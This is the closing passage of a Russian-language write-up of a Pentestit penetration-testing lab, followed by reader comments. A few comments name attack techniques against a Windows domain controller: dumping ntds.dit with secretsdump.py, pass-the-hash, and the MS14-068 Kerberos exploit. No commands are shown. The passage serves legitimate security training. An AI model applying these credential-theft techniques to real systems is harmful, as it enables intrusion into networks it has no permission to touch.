    Тем, кто еще не успел пройти лабораторию и испытать радость взятия каждой машины в сети, желаю удачи.

    Хочу поблагодарить Pentestit за прекрасную лабораторию — было интересно, и поблагодарить читателя за то, что дошли до этого момента.

    Спасибо! Ждем 11-ю лабораторию в мае 2017-го года.
    Pentestit 183,34
    Информационная безопасность
    Поделиться публикацией
    Комментарии 13
    • +6
      Алексей, поздравляю с заслуженной победой в лаборатории!
      • +7

        Спасибо большое!

        • +6
          Прошел её, и скажу, Лаба отличная, спасибо всем организаторам
          • +2
            Поздравляю)
            • 0
              Лаборатория проработает в активном режиме до мая?
              • 0
                Да, до запуска 11-й лаборатории, которую ожидаем в мае. Дату, думаю, объявит Pentestit ближе к старту лаборатории.
                • +2
                  Большое спасибо, успею по экспериментировать.
              • +1
                Это честно говоря реально не спать и кофе из под капельницы!
                • 0
                  Это точно :-) Спать во время лаборатории вообще можно только очень аккуратно — ситуация меняется каждый час, а участники работают 24/7 по всех часовых поясах.
                • +1
                  Well done!
                  Just one hint… you could simply use secretsdump.py to extract all the ntds.dit an then use pass-the-hash ;-)… I used another technique based on «PAC» exploit
                  • 0
                    Thank you! Yep, that's a great pointer, we could use the secretsdump.py to do it this way too:



                    And yes, MS14-068 is another way to get to the WIN-DC0, as detailed by another lab participant here.

                    Thank you.
                  • 0
                    А в 11-й лаборатории будет тема по Wi-Fi? А по SIP, VoIP?
                    • 0
                      Уверенности нет, но SIP/VoIP уже неоднократно обсуждались в этом контексте. Если есть идеи — можно поучаствовать в подготовке заданий.

                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                    Самое читаемое